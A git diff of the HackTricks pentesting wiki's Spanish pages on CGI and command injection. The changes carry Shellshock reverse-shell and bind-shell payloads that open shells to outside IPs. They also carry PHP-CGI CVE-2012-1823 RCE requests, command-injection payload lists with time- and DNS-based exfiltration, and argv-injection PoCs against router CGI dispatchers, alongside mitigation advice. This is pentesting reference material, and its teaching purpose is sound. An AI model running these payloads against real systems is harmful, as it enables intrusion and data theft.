Translated ['', 'src/pentesting-web/command-injection.md', 'src/network-

2025-10-10 18:36:50 +00:00 · 2025-10-04 09:48:37 +00:00 · 2025-10-04 09:48:37 +00:00 · c6b1ff9b52
commit c6b1ff9b52
parent bd24da901e
2 changed files with 101 additions and 35 deletions
--- a/src/network-services-pentesting/pentesting-web/cgi.md
+++ b/src/network-services-pentesting/pentesting-web/cgi.md
@ -1,22 +1,24 @@
+# CGI Pentesting
+
 {{#include ../../banners/hacktricks-training.md}}


-# Información
+## Información

-Los **scripts CGI son scripts perl**, así que, si has comprometido un servidor que puede ejecutar _**.cgi**_ scripts, puedes **subir un shell reverso en perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **cambiar la extensión** de **.pl** a **.cgi**, dar **permisos de ejecución** \(`chmod +x`\) y **acceder** al shell reverso **desde el navegador web** para ejecutarlo. 
-Para probar **vulnerabilidades CGI**, se recomienda usar `nikto -C all` \(y todos los plugins\)
+Los **scripts CGI son scripts perl**, así que, si has comprometido un servidor que puede ejecutar _**.cgi**_ scripts puedes **subir un perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **cambiar la extensión** de **.pl** a **.cgi**, **dar permisos de ejecución** \(`chmod +x`\) y **acceder** al reverse shell **desde el navegador web** para ejecutarlo.
+Para probar **CGI vulns** se recomienda usar `nikto -C all` \(and all the plugins\)

-# **ShellShock**
+## **ShellShock**

-**ShellShock** es una **vulnerabilidad** que afecta al ampliamente utilizado **Bash** en sistemas operativos basados en Unix. Se dirige a la capacidad de Bash para ejecutar comandos pasados por aplicaciones. La vulnerabilidad radica en la manipulación de **variables de entorno**, que son valores nombrados dinámicamente que impactan cómo se ejecutan los procesos en una computadora. Los atacantes pueden explotar esto adjuntando **código malicioso** a las variables de entorno, que se ejecuta al recibir la variable. Esto permite a los atacantes comprometer potencialmente el sistema.
+**ShellShock** es una **vulnerabilidad** que afecta al ampliamente usado intérprete de línea de comandos **Bash** en sistemas operativos basados en Unix. Apunta a la capacidad de Bash para ejecutar comandos pasados por aplicaciones. La vulnerabilidad reside en la manipulación de **environment variables**, que son valores dinámicos nombrados que afectan cómo se ejecutan los procesos en un equipo. Los atacantes pueden explotar esto adjuntando **código malicioso** a environment variables, que se ejecuta al recibir la variable. Esto permite a los atacantes comprometer potencialmente el sistema.

-Explotando esta vulnerabilidad, la **página podría lanzar un error**.
+Al explotar esta vulnerabilidad la **página podría arrojar un error**.

-Podrías **encontrar** esta vulnerabilidad notando que está usando una **versión antigua de Apache** y **cgi_mod** \(con la carpeta cgi\) o usando **nikto**.
+Puedes **encontrar** esta vulnerabilidad notando que está usando una **versión antigua de Apache** y **cgi_mod** \(con la carpeta cgi\) o usando **nikto**.

-## **Prueba**
+### **Prueba**

-La mayoría de las pruebas se basan en hacer eco de algo y esperar que esa cadena sea devuelta en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.
+La mayoría de las pruebas se basan en echo something y esperan que esa cadena sea devuelta en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.

 **Nmap**
 ```bash
@ -35,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http:
 ```bash
 python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
 ```
-## Explotar
+### Exploit
 ```bash
 #Bind Shell
 $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
@ -49,23 +51,56 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
 > set rhosts 10.1.2.11
 > run
 ```
-# **Proxy \(MitM a solicitudes del servidor web\)**
+## Despachadores CGI centralizados (enrutamiento por un único endpoint mediante parámetros selector)

-CGI crea una variable de entorno para cada encabezado en la solicitud http. Por ejemplo: "host:web.com" se crea como "HTTP_HOST"="web.com"
+Muchas interfaces web embebidas multiplexan docenas de acciones privilegiadas detrás de un único CGI endpoint (por ejemplo, `/cgi-bin/cstecgi.cgi`) y usan un parámetro selector como `topicurl=<handler>` para enrutar la solicitud a una función interna.

-Como la variable HTTP_PROXY podría ser utilizada por el servidor web. Intenta enviar un **encabezado** que contenga: "**Proxy: &lt;IP_atacante&gt;:&lt;PUERTO&gt;**" y si el servidor realiza alguna solicitud durante la sesión. Podrás capturar cada solicitud realizada por el servidor.
+Metodología para explotar estos routers:

-# PHP antiguo + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
+- Enumerar nombres de handler: scrapear JS/HTML, brute-force con wordlists, o desempaquetar firmware y grepear strings de handler usados por el dispatcher.
+- Probar accesibilidad sin autenticación: algunos handlers olvidan las comprobaciones de auth y son invocables directamente.
+- Centrarse en handlers que invocan utilidades del sistema o tocan archivos; validadores débiles a menudo solo bloquean unos pocos caracteres y pueden pasar por alto el guion inicial `-`.

-Básicamente, si cgi está activo y php es "antiguo" \(&lt;5.3.12 / &lt; 5.4.2\) puedes ejecutar código. 
-Para explotar esta vulnerabilidad necesitas acceder a algún archivo PHP del servidor web sin enviar parámetros \(especialmente sin enviar el carácter "="\). 
-Luego, para probar esta vulnerabilidad, podrías acceder por ejemplo a `/index.php?-s` \(nota el `-s`\) y **el código fuente de la aplicación aparecerá en la respuesta**.
+Formas genéricas de exploit:
+```http
+POST /cgi-bin/cstecgi.cgi HTTP/1.1
+Content-Type: application/x-www-form-urlencoded

-Luego, para obtener **RCE** puedes enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` y el **código PHP** que se ejecutará en el **cuerpo de la solicitud. Ejemplo:**
+# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
+topicurl=<handler>&param=-n
+
+# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
+topicurl=setEasyMeshAgentCfg&agentName=;id;
+
+# 3) Validator bypass → arbitrary file write in file-touching handlers
+topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
+```
+Detección y hardening:
+
+- Obsérvese solicitudes no autenticadas a endpoints CGI centralizados con `topicurl` establecido a manejadores sensibles.
+- Marcar parámetros que comiencen con `-` (argv option injection attempts).
+- Vendedores: exigir autenticación en todos los manejadores que cambian estado, validar usando listas blancas/tipos/longitudes estrictas, y nunca pasar cadenas controladas por el usuario como flags de línea de comandos.
+
+## PHP antiguo + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
+
+Básicamente si cgi está activo y php es "antiguo" (&lt;5.3.12 / &lt; 5.4.2) puedes ejecutar código.
+Para explotar esta vulnerabilidad necesitas acceder a algún archivo PHP del servidor web sin enviar parámetros (especialmente sin enviar el carácter "=").
+Luego, para probar esta vulnerabilidad, podrías acceder por ejemplo a `/index.php?-s` (nota el `-s`) y **el código fuente de la aplicación aparecerá en la respuesta**.
+
+Luego, para obtener **RCE** puedes enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` y el **código PHP** a ejecutar en el **cuerpo de la petición. Ejemplo:**
 ```bash
 curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
 ```
-**Más información sobre la vulnerabilidad y posibles exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
+**Más info about the vuln and possible exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**

+## **Proxy \(MitM a las solicitudes del servidor web\)**
+
+CGI crea una variable de entorno por cada header en la solicitud HTTP. Por ejemplo: "host:web.com" se crea como "HTTP_HOST"="web.com"
+
+Como la variable HTTP_PROXY podría ser usada por el servidor web, intenta enviar un **header** que contenga: "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" y, si el servidor realiza alguna solicitud durante la sesión, podrás capturar cada petición hecha por el servidor.
+
+## **Referencias**
+
+- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/command-injection.md
+++ b/src/pentesting-web/command-injection.md
@ -2,13 +2,13 @@

 {{#include ../banners/hacktricks-training.md}}

-## What is command Injection?
+## ¿Qué es command Injection?

-Una **command injection** permite la ejecución de comandos arbitrarios del sistema operativo por parte de un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden verse completamente comprometidos. La ejecución de estos comandos típicamente permite al atacante obtener acceso no autorizado o control sobre el entorno de la aplicación y el sistema subyacente.
+Una **command injection** permite la ejecución de comandos arbitrarios del sistema operativo por parte de un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden verse completamente comprometidos. La ejecución de estos comandos normalmente permite al atacante obtener acceso no autorizado o control sobre el entorno de la aplicación y el sistema subyacente.

 ### Contexto

-Dependiendo de **dónde se esté inyectando tu entrada** puede que necesites **terminar el contexto entre comillas** (usando `"` o `'`) antes de los comandos.
+Dependiendo de **dónde se esté inyectando tu input** puede que necesites **terminar el contexto entre comillas** (using `\"` or `'`) before the commands.

 ## Command Injection/Execution
 ```bash
@ -30,9 +30,10 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
 > /var/www/html/out.txt #Try to redirect the output to a file
 < /etc/passwd #Try to send some input to the command
 ```
-### **Limition** Bypasses
+### **Limitación** Bypasses
+
+Si estás intentando ejecutar **comandos arbitrarios dentro de una máquina linux** te interesará leer sobre estos **Bypasses:**

-Si estás intentando ejecutar **comandos arbitrarios en una máquina linux** te interesará leer sobre estos **Bypasses:**

 {{#ref}}
 ../linux-hardening/bypass-bash-restrictions/
@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
 ```
 ### Parámetros

-Aquí están los 25 principales parámetros que podrían ser vulnerables a code injection y vulnerabilidades RCE similares (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
+A continuación, los 25 parámetros principales que podrían ser vulnerables a code injection y a vulnerabilidades RCE similares (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):
 ```
 ?cmd={payload}
 ?exec={payload}
@ -76,7 +77,7 @@ Aquí están los 25 principales parámetros que podrían ser vulnerables a code
 ```
 ### Time based data exfiltration

-Extrayendo datos: carácter por carácter
+Extracción de datos: char por char
 ```
 swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
 real    0m5.007s
@ -88,7 +89,7 @@ real    0m0.002s
 user    0m0.000s
 sys 0m0.000s
 ```
-### Exfiltración de datos basada en DNS
+### DNS based data exfiltration

 Basado en la herramienta `https://github.com/HoLyVieR/dnsbin`, también alojada en dnsbin.zhack.ca
 ```
@ -105,7 +106,7 @@ Herramientas online para comprobar DNS based data exfiltration:
 - dnsbin.zhack.ca
 - pingb.in

-### Filtering bypass
+### Evasión de filtrado

 #### Windows
 ```
@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad

 ### Node.js `child_process.exec` vs `execFile`

-Al auditar back-ends en JavaScript/TypeScript, a menudo te encontrarás con la API `child_process` de Node.js.
+Al auditar aplicaciones back-end en JavaScript/TypeScript, a menudo te encontrarás con la API `child_process` de Node.js.
 ```javascript
 // Vulnerable: user-controlled variables interpolated inside a template string
 const { exec } = require('child_process');
@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
 /* … */
 });
 ```
-`exec()` genera un **shell** (`/bin/sh -c`), por lo tanto cualquier carácter que tenga un significado especial para el shell (back-ticks, `;`, `&&`, `|`, `$()`, …) dará lugar a **command injection** cuando la entrada del usuario se concatene en la cadena.
+`exec()` lanza un **shell** (`/bin/sh -c`), por lo tanto cualquier carácter que tenga un significado especial para el shell (back-ticks, `;`, `&&`, `|`, `$()`, …) resultará en **command injection** cuando la entrada del usuario se concatene en la cadena.

-**Mitigación:** utiliza `execFile()` (o `spawn()` sin la opción `shell`) y proporciona **cada argumento como un elemento separado del array** para que no se utilice el shell:
+**Mitigación:** usa `execFile()` (o `spawn()` sin la opción `shell`) y proporciona **cada argumento como un elemento separado del array** para que no se involucre el shell:
 ```javascript
 const { execFile } = require('child_process');
 execFile('/usr/bin/do-something', [
@ -139,9 +140,38 @@ execFile('/usr/bin/do-something', [
 '--payload', JSON.stringify(payload)
 ]);
 ```
-Caso real: *Synology Photos* ≤ 1.7.0-0794 fue explotable mediante un evento WebSocket no autenticado que colocaba datos controlados por el atacante en `id_user`, que luego se incrustaban en una llamada a `exec()`, logrando RCE (Pwn2Own Ireland 2024).
+Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).

-## Lista de detección de Brute-Force
+### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
+
+Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.
+
+Typical places where this appears:
+
+- Embedded web UIs/CGI handlers that build commands like `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
+- Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` with a selector parameter like `topicurl=<handler>`) where multiple handlers reuse the same weak validator.
+
+What to try:
+
+- Provide values that start with `-`/`--` to be consumed as flags by the downstream tool.
+- Abuse flags that change behavior or write files, for example:
+- `ping`: `-f`/`-c 100000` to stress the device (DoS)
+- `curl`: `-o /tmp/x` to write arbitrary paths, `-K <url>` to load attacker-controlled config
+- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` to achieve post-rotate execution in unsafe wrappers
+- If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place.
+
+Generic PoC shapes against centralized CGI dispatchers:
+```
+POST /cgi-bin/cstecgi.cgi HTTP/1.1
+Content-Type: application/x-www-form-urlencoded
+
+# Flip options in a downstream tool via argv injection
+topicurl=<handler>&param=-n
+
+# Unauthenticated RCE when a handler concatenates into a shell
+topicurl=setEasyMeshAgentCfg&agentName=;id;
+```
+## Brute-Force Detection List


 {{#ref}}
@ -153,8 +183,9 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
 - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
+- [Extracción de archivos cifrados de Synology – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
+- [Manual de PHP proc_open](https://www.php.net/manual/en/function.proc-open.php)
 - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
+- [Unit 42 – TOTOLINK X6000R: Tres nuevas vulnerabilidades descubiertas](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)

 {{#include ../banners/hacktricks-training.md}}